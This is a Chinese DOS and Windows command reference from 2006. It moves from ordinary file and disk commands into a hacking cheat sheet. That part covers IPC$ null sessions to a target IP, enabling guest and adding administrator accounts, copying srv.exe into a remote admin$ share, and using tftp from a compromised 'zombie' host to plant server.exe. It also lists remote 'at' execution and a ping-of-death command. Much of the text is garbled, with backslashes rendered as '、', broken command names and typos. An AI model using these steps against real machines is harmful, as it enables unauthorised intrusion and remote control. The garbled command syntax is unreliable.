2006年01月19日

DOS命令大全

(一)MD——建立子目录  
1.功能:创建新的子目录 
2.类型:内部命令 
3.格式:MD[盘符:][路径名]〈子目录名〉 
4.使用说明: 
(1)“盘符”:指定要建立子目录的磁盘驱动器字母,若省略,则为当前驱动器; 
(2)“路径名”:要建立的子目录的上级目录名,若缺省则建在当前目录下。 
例:(1)在C盘的根目录下创建名为FOX的子目录;(2)在FOX子目录下再创建USER子目录。 
C:、>MD FOX (在当前驱动器C盘下创建子目录FOX) 
C:、>MD FOX 、USER (在FOX 子目录下再创建USER子目录) 
(二)CD——改变当前目录 
1.功能:显示当前目录 
2.类型:内部命令 
3.格式:CD[盘符:][路径名][子目录名] 
4.使用说明: 
(1)如果省略路径和子目录名则显示当前目录; 
(2)如采用“CD、”格式,则退回到根目录; 
(3)如采用“CD.。”格式则退回到上一级目录。 
例:(1)进入到USER子目录;(2)从USER子目录退回到子目录;(3)返回到根目录。 
C:、>CD FOX 、USER(进入FOX子目录下的USER子目录) 
C:、FOX、USER>CD.。 (退回上一级根目录) 
C:、FOX>CD、 (返回到根目录) 
C:、> 
(三)RD——删除子目录命令 
1.功能:从指定的磁盘删除了目录。 
2.类型:内部命令 
3.格式:RD[盘符:][路径名][子目录名] 
4.使用说明: 
(1)子目录在删除前必须是空的,也就是说需要先进入该子目录,使用DEL(删除文件的命令)将其子目录下的文件删空,然后再退回到上一级目录,用RD命令删除该了目录本身; 
(2)不能删除根目录和当前目录。 
例:要求把C盘FOX子目录下的USER子目录删除,操作如下: 
第一步:先将USER子目录下的文件删空; 
C、>DEL C:、FOX、USER、*。* 
第二步,删除USER子目录。 
C、>RD C:、FOX、USER 
(四)DIR——显示磁盘目录命令 
1.功能:显示磁盘目录的内容。 
2.类型:内部命令 
3.格式:DIR [盘符][路径][/P][/W] 
4.
使用说明:/P的使用;当欲查看的目录太多,无法在一屏显示完屏幕会一直往上卷,不容易看清,加上/P参数后,屏幕上会分面一次显示23行的文件信息,然后暂停,并提示;Press
any key to continue 
/W的使用:加上/W只显示文件名,至于文件大小及建立的日期和时间则都省略。加上参数后,每行可以显示五个文件名。 
PATH——路径设置命令 
1.功能:设备可执行文件的搜索路径,只对文件有效。 
2.类型:内部命令 
3.格式:PATH[盘符1]目录[路径名1]{[;盘符2:],〈目录路径名2〉…} 
4.使用说明: 
(1)当运行一个可执行文件时,DOS会先在当前目录中搜索该文件,若找到则运行之;若找不到该文件,则根据PATH命令所设置的路径,顺序逐条地到目录中搜索该文件; 
(2)PATH命令中的路径,若有两条以上,各路径之间以一个分号“;”隔开; 
(3)PATH命令有三种使用方法: 
PATH[盘符1:][路径1][盘符2:][路径2]…(设定可执行文件的搜索路径)  PATH:(取消所有路径) 
PATH:(显示目前所设的路径) 
(六)TREE——显示磁盘目录结构命令 
1.功能:显示指定驱动器上所有目录路径和这些目录下的所有文件名。 
2.类型:外部命令 
3.格式:TREE[盘符:][/F][》PRN] 
4.使用说明: 
(1)使用/F参数时显示所有目录及目录下的所有文件,省略时,只显示目录,不显示目录下的文件; 
(2)选用>PRN参数时,则把所列目录及目录中的文件名打印输出。 
(七)DELTREE——删除整个目录命令 
1.功能:将整个目录及其下属子目录和文件删除。 
2.类型:外部命令 
3.格式:DELTREE[盘符:]〈路径名〉 
4.使用说明:该命令可以一步就将目录及其下的所有文件、子目录、更下层的子目录一并删除,而且不管文件的属性为隐藏、系统或只读,只要该文件位于删除的目录之下,DELTREE都一视同仁,照删不误。使用时务必小心!!! 
五、磁盘操作类命令 
(一)formAT——磁盘格式化命令 
1.功能:对磁盘进行格式化,划分磁道和扇区;同时检查出整个磁盘上有无带缺陷的磁道,对坏道加注标记;建立目录区和文件分配表,使磁盘作好接收DOS的准备。 
2.类型:外部命令 
3.格式:formAT〈盘符:〉[/S][/4][/Q] 
4.使用说明: 
(1)命令后的盘符不可缺省,若对硬盘进行格式化,则会如下列提示:WARNING:ALL DATA ON NON
——REMOVABLE DISK 
DRIVE C:WILL BE LOST ! 
Proceed with format (Y/N)? 
(警告:所有数据在C盘上,将会丢失,确实要继续格式化吗?) 
(2)若是对软盘进行格式化,则会如下提示:Insert mew diskette for drive A; 
and press ENTER when ready… 
(在A驱中插入新盘,准备好后按回车键)。 
(3)选用[/S]参数,将把DOS系统文件IO.SYS
、MSDOS.SYS及COMMAND.COM复制到磁盘上,使该磁盘可以做为DOS启动盘。若不选用/S参数,则格式化后的磙盘只能读写信息,而不能做为启动盘; 
(4)选用[/4]参数,在1.2MB的高密度软驱中格式化360KB的低密度盘; 
(5)选用[/Q]参数,快速格式化,这个参数并不会重新划分磁盘的磁道貌岸然和扇区,只能将磁盘根目录、文件分配表以及引导扇区清成空白,因此,格式化的速度较快。 
(6)选用[/U]参数,表示无条件格式化,即破坏原来磁盘上所有数据。不加/U,则为安全格式化,这时先建立一个镜象文件保存原来的FAT表和根目录,必要时可用UNFORRMAT恢复原来的数据。 
(二)UNformAT恢复格式化命令 
1.功能:对进行过格式化误操作丢失数据的磁盘进行恢复。 
2.类型:外部命令 
3.格式:UNformAT〈盘符〉[/L][/U][/P][/TEST] 
4.使用说明:用于将被“非破坏性”格式化的磁盘恢复。根目录下被删除的文件或子目录及磁盘的系统扇区(包括FAT、根目录、BOOT扇区及硬盘分区表)受损时,也可以用UNformAT来抢救。 
(1)选用/L参数列出找到的子目录名称、文件名称、大孝日期等信息,但不会真的做formAT工作。 
(2)选用/P参数将显示于屏幕的报告(包含/L参数所产生的信息)同时也送到打印机。运行时屏幕会显示:“Print out will
be sent to LPT1” 
(3)选用/TEST参数只做模拟试验(TEST)不做真正的写入动作。使用此参数屏幕会显示:“Simulation only” 
(4)选用/U参数不使用MIRROR映像文件的数据,直接根据磁盘现状进行UNformAT。 
(5)选用/PSRTN;修复硬盘分区表。 
若在盘符之后加上/P、/L、/TEST之一,都相当于使用了/U参数,UNformAT会“假设”此时磁盘没有MIRROR映像文件。 
注意:UNformAT对于刚formAT的磁盘,可以完全恢复,但formAT后若做了其它数据的写入,则UNformAT就不能完整的救回数据了。UNformAT并非是万能的,由于使用UNformAT会重建FAT与根目录,所以它也具有较高的危险性,操作不当可能会扩大损失,如果仅误删了几个文件或子目录,只需要利用UNDELETE就够了。
三) CHKDSK——检查磁盘当前状态命令 
1.功能:显示磁盘状态、内存状态和指定路径下指定文件的不连续数目。 
2.类型:外部命令 
3.格式:CHKDSK [盘符:][路径][文件名][/F][/V] 
4.使用说明: 
(1)选用[文件名]参数,则显示该文件占用磁盘的情况; 
(2)选[/F]参数,纠正在指定磁盘上发现的逻辑错误; 
(3)选用[/V]参数,显示盘上的所有文件和路径。 
(四)DISKCOPY——整盘复制命令 
1.功能:复制格式和内容完全相同的软盘。 
2.类型:外部命令 
3.格式:DISKCOPY[盘符1:][盘符2:] 
4.使用说明: 
(1)如果目标软盘没有格式化,则复制时系统自动选进行格式化。 
(2)如果目标软盘上原有文件,则复制后将全部丢失。 
(3)如果是单驱动器复制,系统会提示适时更换源盘和目标盘,请操作时注意分清源盘和目标盘。 
(五)LABEL——建立磁盘卷标命令 
1.功能:建立、更改、删除磁盘卷标。 
2.类型:外部命令 
3.格式:LABEL[盘符:][卷标名] 
4.使用说明: 
(1)卷标名为要建立的卷标名,若缺省此参数,则系统提示键入卷标名或询问是否删除原有的卷标名; 
(2)卷标名由1至11个字符组成。 
(六)VOL——显示磁盘卷标命令 
1.功能:查看磁盘卷标号。 
2.类型:内部命令 
3.格式:VOL[盘符:] 
4.使用说明:省略盘符,显示当前驱动器卷标。 
(七)SCANDISK——检测、修复磁盘命令 
1.功能:检测磁盘的FAT表、目录结构、文件系统等是否有问题,并可将检测出的问题加以修复。 
2.类型:外部命令 
3.格式:SCANDISK[盘符1:]{[盘符2:]…}[/ALL] 
4.使用说明: 
(1)CCANDISK适用于硬盘和软盘,可以一次指定多个磁盘或选用[/ALL]参数指定所有的磁盘; 
(2)可自动检测出磁盘中所发生的交叉连接、丢失簇和目录结构等逻辑上的错误,并加以修复。 
(八)DEFRAG——重整磁盘命令 
1.。功能:整理磁盘,消除磁盘碎块。 
2.类型:外部命令 
3.格式:DEFRAG[盘符:][/F] 
4.使用说明:选用/F参数,将文件中存在盘上的碎片消除,并调整磁盘文件的安排,确保文件之间毫无空隙。从而加快读盘速度和节省磁盘空间。 
(九)SYS——系统复制命令 
1.功能:将当前驱动器上的DOS系统文件IO.SYS,MSDOS.SYS和COMMAND.COM 传送到指定的驱动器上。 
2.类型:外部命令 
3.格式:SYS[盘符:] 
*使用说明:如果磁盘剩余空间不足以存放系统文件,则提示:No roomfor on destination disk. 

文件操作类命令 
(一) COPY文件复制命令 
1.功能:拷贝一个或多个文件到指定盘上。 
2.类型:内部命令 
3.格式:COPY [源盘][路径]〈源文件名〉[目标盘][路径][目标文件名] 
4.使用说明: 
(1)COPY是文件对文件的方式复制数据,复制前目标盘必须已经格式化; 
(2)复制过程中,目标盘上相同文件名称的旧文件会被源文件取代; 
(3)复制文件时,必须先确定目标般有足够的空间,否则会出现;insufficient的错误信息,提示磁盘空间不够; 
(4)文件名中允许使用通配举“*”“?”,可同时复制多个文件; 
(5)COPY命令中源文件名必须指出,不可以省略。 
(6)复制时,目标文件名可以与源文件名相同,称作“同名拷贝”此时目标文件名可以省略; 
(7)复制时,目标文件名也可以与源文件名不相同,称作“异名拷贝”,此时,目标文件名不能省略; 
(8)复制时,还可以将几个文件合并为一个文件,称为“合并拷贝”,格式如下:COPY;[源盘][路径]〈源文件名1〉〈源文件名2〉…[目标盘][路径]〈目标文件名〉; 
(9)利用COPY命令,还可以从键盘上输入数据建立文件,格式如下:COPY CON [盘符:][路径]〈文件名〉; 
(10)注意:COPY命令的使用格式,源文件名与目标文件名之间必须有空格! 
(二)XCOPY——目录复制命令 
1.功能:复制指定的目录和目录下的所有文件连同目录结构。 
2.类型:外部命令 
3.格式:XCOPY [源盘:]〈源路径名〉[目标盘符:][目标路径名][/S][/V][/E] 
4.使用说明: 
(1)XCOPY是COPY的扩展,可以把指定的目录连文件和目录结构一并拷贝,但不能拷贝隐藏文件和系统文件; 
(2)使用时源盘符、源目标路径名、源文件名至少指定一个; 
(3)选用/S时对源目录下及其子目录下的所有文件进行COPY。除非指定/E参数,否则/S不会拷贝空目录,若不指定/S参数,则XCOPY只拷贝源目录本身的文件,而不涉及其下的子目录; 
(4)选用/V参数时,对的拷贝的扇区都进行较验,但速度会降低。 
(三)TYPE——显示文件内容命令 
1.功能:显示ASCII码文件的内容。 
2.类型:内部命令。 
3.格式:TYPE[盘符:][路径]〈文件名〉 
4.使用说明: 
(1)显示由ASCII码组成的文本文件,对。EXE.COM等为扩展名的文件,其显示的内容是无法阅读的,没有实际意义2; 
(2)该命令一次只可以显示一个文件的内容,不能使用通配符; 
(3)如果文件有扩展名,则必须将扩展名写上; 
(4)当文件较长,一屏显示不下时,可以按以下格式显示;TYPE[盘符:][路径]〈文件名〉|MORE,MORE为分屏显示命令,使用些参数后当满屏时会暂停,按任意键会继续显示。 
(5)若需将文件内容打印出来,可用如下格式: 
TYPE[盘符:][路径]〈文件名〉,>PRN 
此时,打印机应处于联机状态。 
(四) REN——文件改名命令 
1.功能:更改文件名称 
2.类型:内部命令 
3.格式:REN[盘符:][路径]〈旧文件名〉〈新文件名〉 
4.使用说明: 
(1)新文件名前不可以加上盘符和路径,因为该命令只能对同一盘上的文件更换文件名; 
(2)允许使用通配符更改一组文件名或扩展名。 
(五)FC——文件比较命令 
1.功能:比较文件的异同,并列出差异处。 
2.类型:外部命令 
3.格式:FC[盘符:][路径名]〈文件名〉[盘符:][路径名][文件名][/A][/B][/C][/N] 
4.使用说明: 
(1)选用/A参数,为ASCII码比较模式; 
(2)选用/B参数,为二进制比较模式; 
(3)选用/C参数,将大小写字符看成是相同的字符。 
(4)选用/N参数,在ASCII码比较方式下,显示相异处的行号。 
(六)ATTRIB——修改文件属性命令 
1.功能:修改指定文件的属性。(文件属性参见2.5.4(二)文件属性一节) 
2.类型:外部命令。 
3.格式:ATTRIB[文件名][R][——R][A][——A][H][——H][——S] 
4.使用说明: 
(1)选用R参数,将指定文件设为只读属性,使得该文件只能读取,无法写入数据或删除;选用——R参数,去除只读属性; 
(2)选用A参数,将文件设置为档案属性;选用——A参数,去除档案属性;  (3)选用H参数,将文件调协为隐含属性;选用——H参数,去隐含属性; 
(4)选用S参数,将文件设置为系统属性;选用——S参数,去除系统属性;  (5)选用/S参数,对当前目录下的所有子目录及作设置。 
七) DEL——删除文件命令 
1.功能:删除指定的文件。 
2.类型:内部命令 
3.格式:DEL[盘符:][路径]〈文件名〉[/P] 
4.使用说明: 
(1)选用/P参数,系统在删除前询问是否真要删除该文件,若不使用这个参数,则自动删除; 
(2)该命令不能删除属性为隐含或只读的文件;
(3)在文件名称中可以使用通配符;
(4)若要删除磁盘上的所有文件(DEL*·*或DEL·),则会提示:(Arey ou sure?)(你确定吗?)若回答Y,则进行删除,回答N,则取消此次删除作业。
    (八) UNDELETE——恢复删除命令
    1.功能:恢复被误删除命令
    2.类型:外部命令。
    3.格式:UNDELETE[盘符:][路径名]〈文件名〉[/DOS]/LIST][/ALL]
    4.使用说明:使用UNDELETE可以使用“*”和“?”通配符。
    (1)选用/DOS参数根据目录里残留的记录来恢复文件。由于文件被删除时,目录所记载斩文件名第一个字符会被改为E5,DOS即依据文件开头的E5和其后续的字符来找到欲恢复的文件,所以,UNDELETE会要求用户输入一个字符,以便将文件名字补齐。但此字符不必和原来的一样,只需符合DOS的文件名规则即可。
    (2)选用/LIST只“列出”符合指定条件的文件而不做恢复,所以对磁盘内容完全不会有影响。
    (3)选用/ALL自动将可完全恢复的文件完全恢复,而不一一地询问用户,使用此参数时,若UNDELTE利用目录里残留的记录来将文件恢复,则会自动选一个字符将文件名补齐,并且使其不与现存文件名相同,选用字符的优选顺序为:#%——0000123456789A~Z。

   
        UNDELETE还具有建立文件的防护措施的功能,已超出本课程授课范围,请读者在使用些功能时查阅有关DOS手册。

    七、其它命令
    (一)CLS——清屏幕命令
    1功能:清除屏幕上的所有显示,光标置于屏幕左上角。
    2类型:内部命令
    3格式:CLS
    (二) VER查看系统版本号命令
    1功能:显示当前系统版本号
    2类型:内部命令
    3格式:VER
    (三) DATA日期设置命令
    1功能:设置或显示系统日期。
    2类型:内部命令
    3格式:DATE[mm——dd——yy]
    4使用说明:
    (1)省略[mm——dd——yy]显示系统日期并提示输入新的日期,不修改则可直接按回车键,[mm——dd——yy]为“月月——日日——年年”格式;
    (2)当机器开始启动时,有自动处理文件(AUTOEXEC.BAT)被执行,则系统不提示输入系统日期。否则,提示输入新日期和时间。
    (四) TIME系统时钟设置命令
    1功能:设置或显示系统时期。
    2类型:内部命令
    3格式:TIME[hh:mm:ss:xx]
    4使用说明:
    (1)省略[hh:mm:ss:xx],显示系统时间并提示输入新的时间,不修改则可直接按回车键,[hh:mm:ss:xx]为“小时:分钟:秒:百分之几秒”格式;
    (2)当机器开始启动时,有自动处理文件(AUTOEXEC.BAT)被执行,则系统不提示输入系统日期。否则,提示输入新日期和时间。
    (五)MEM查看当前内存状况命令
    1功能:显示当前内存使用的情况
    2类型:外部命令
    3格式:MEM[/C][/F][/M][/P]
    4使用说明:
    (1)选用/C参数列出装入常规内存和CMB的各文件的长度,同时也显示内存空间的使用状况和最大的可用空间;
    (2)选用/F参数分别列出当前常规内存剩余的字节大小和UMB可用的区域及大小;  
    (3)选用/M参数显示该模块使用内存地地址、大小及模块性质;
    (4)选用/P参数指定当输出超过一屏时,暂停供用户查看。
    (六) MSD显示系统信息命令
    1功能:显示系统的硬件和操作系统的状况。
    2类型:外部命令
    3格式:MSD[/I][/B][/S]
    4使用说明:
    (1)选用/I参数时,不检测硬件;
    (2)选用/B参数时,以黑白方式启动MSD;
    (3)选用/S参数时,显示出简明的系统报告。

net use \\ip\ipc$ " " /user:" " 建立IPC空链接
net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
net use h: \\ip\c$ 登陆后映射对方C:到本地为H:
net use \\ip\ipc$ /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup administrators 用户名 /add 把"用户"添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
net start 查看开启了哪些服务
net start 服务名  开启服务;(如:net start telnet, net start schedule)
net stop 服务名 停止某服务
net time \\目标ip 查看对方时间
net time \\目标ip /set 设置本地计算机时间与"目标IP"主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view \\ip 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip "文本信息" 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C:共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况,常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:"-w数字"用于设置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:"-l[空格]数据包大小";"-n发送数据次数";"-t"指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数"/all"显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如"DEL/AR *.*"表示删除当前目录下所有只读文件,"DEL/A-S *.*"表示删除当前目录下除系统文件以外的所有文件

#2 二:

del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP(属telnet登陆后的命令)
telnet 在本机上直接键入telnet 将进入本机的telnet
copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
copy c:\srv.exe \\ip\admin$ 复制本地c:\srv.exe到对方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:
xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将"IP"的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件(目录)的属性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
date /t 、 time /t 使用此参数即"DATE/T"、"TIME/T"将只显示当前日期和时间,而不必输入新日期和时间
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
pause 暂停批处理程序,并显示出:请按任意键继续….
if 在批处理程序中执行条件处理(更多说明见if命令及变量)
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:":start"标签)
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
find 文件名 查找某文件
title 标题名字 更改CMD窗口标题名字
color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )

#3 三:

ver 在DOS窗口下显示版本信息
winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目录名 创建目录
replace 源文件 要替换文件的目录 替换文件
ren 原文件名 新文件名 重命名文件名
tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
type 文件名 显示文本文件的内容
more 文件名 逐屏显示输出文件
doskey 要锁定的命令=字符
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
taskmgr 调出任务管理器
chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
path 路径\可执行文件的文件名 为可执行文件设置一个路径。
cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
regedit /e 注册表文件名 导出注册表
cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。
cacls 文件名 查看文件的访问用户权限列表
REM 文本内容 在批处理文件中添加注解
netsh 查看或更改本地网络配置情况

#4 四:

IIS服务命令:
iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
iisreset /start或stop 启动(停止)所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset /status 显示所有Internet服务状态
iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
FTP 命令: (后面有详细说明内容)
ftp的命令行格式为:
ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。
-d 使用调试方式。
-n 限制ftp的自动登录,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令说明
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
pwd 列出当前远端主机目录
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
mget [remote-files] 从远端主机接收一批文件至本地主机
mput local-files 将本地主机中一批文件传送至远端主机
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
ascii 设定以ASCII方式传送文件(缺省值)
bin 或 image 设定以二进制方式传送文件
bell 每完成一次文件传送,报警提示
cdup 返回上一级目录
close 中断与远程服务器的ftp会话(与open对应)
open host[port] 建立指定ftp服务器连接,可指定连接端口
delete 删除远端主机中的文件
mdelete [remote-files] 删除一批文件
mkdir directory-name 在远端主机中建立目录
rename [from] [to] 改变远端主机中的文件名
rmdir directory-name 删除远端主机中的目录
status 显示当前FTP的状态
system 显示远端主机系统类型
user user-name [password] [account] 重新以别的用户名登录远端主机
open host [port] 重新建立一个新的连接
prompt 交互提示模式
macdef 定义宏命令
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
chmod 改变远端主机的文件权限
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
cd remote-dir 进入远程主机目录
cdup 进入远程主机目录的父目录
! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip

#5 五:

MYSQL 命令:
mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u与root可以不用加空格,其它也一样)
exit 退出MYSQL
mysqladmin -u用户名 -p旧密码 password 新密码 修改密码
grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
use mysql;
show tables; 显示库中的数据表
describe 表名; 显示数据表的结构
create database 库名; 建库
use 库名;
create table 表名 (字段设定列表); 建表
drop database 库名;
drop table 表名; 删库和删表
delete from 表名; 将表中记录清空
select * from 表名; 显示表中的记录
mysqldump –opt school>school.bbb 备份数据库:(命令在DOS的\\mysql\\bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。
win2003系统下新增命令(实用部份):
shutdown /参数 关闭或重启本地或远程主机。
参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。
例:shutdown /r /t 0 立即重启本地主机(无延时)
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。

#6 六:

Linux系统下基本命令: 要区分大小写
uname 显示版本信息(同win2K的 ver)
dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)
pwd 查询当前所在的目录位置
cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。
cat 文件名 查看文件内容
cat >abc.txt 往abc.txt文件中写上内容。
more 文件名 以一页一页的方式显示一个文本文件。
cp 复制文件
mv 移动文件
rm 文件名 删除文件,rm -a 目录名删除目录及子目录
mkdir 目录名 建立目录
rmdir 删除子目录,目录内没有文档。
chmod 设定档案或目录的存取权限
grep 在档案中查找字符串
diff 档案文件比较
find 档案搜寻
date 现在的日期、时间
who 查询目前和你使用同一台机器的人以及Login时间地点
w 查询目前上机者的详细资料
whoami 查看自己的帐号名称
groups 查看某人的Group
passwd 更改密码
history 查看自己下过的命令
ps 显示进程状态
kill 停止某进程
gcc 黑客通常用它来编译C语言写的文件
su 权限转换为指定使用者
telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
ftp ftp连接上某服务器(同win2K)

附:批处理命令与变量

1:for命令及变量 基本格式:
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。
批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3

